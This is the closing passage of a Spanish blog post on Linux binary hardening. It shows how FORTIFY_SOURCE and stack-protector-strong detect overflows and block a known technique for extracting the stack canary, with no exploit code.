b7825000-b7846000 rw-p 00000000 00:00 0          [heap]
bfc3f000-bfc60000 rw-p 00000000 00:00 0          [stack]

El mensaje "*** buffer overflow detected ***" nos indica que esta vez ha sido la opción FORTIFY_SOURCE la que nos ha detectado.  Cuando stack-protector-strong detectaba que matabamos el canario, el mensaje era "*** stack smashing detected ***", ¿recuerdan?.

Conclusión

Hemos verificado que al usar las opciones de hardening de forma correcta, se impide el usp de la técnica de Hawkes (2006) para extraer el canario desde la pila, y esto es suficiente para impedir los escenarios de explotación de Zabrocki (2010) y Randazzo (2013).

¿Es FORTIFY_SOURCE la última frontera? ¡Ciertamente no!, en su momento se derrotó la protección de FORTIFY_SOURCE contra ataques de formato de cadena ¡explotando un desbordamiento de enteros en el código del protector!,  es de esperarse que eventualmente veremos algun "caso especial" en el que es posible evadir tambien la protección contra desbordamientos en pila.  Y entonces, alguna otra protección aparecerá…  El avance de las técnicas de explotación va de la mano con el avance de las técnicas de protección (y viceversa).  Siempre ha sido un juego del gato y el ratón (¿o será del gato y el canario?).

No hay comentarios:

Publicar un comentario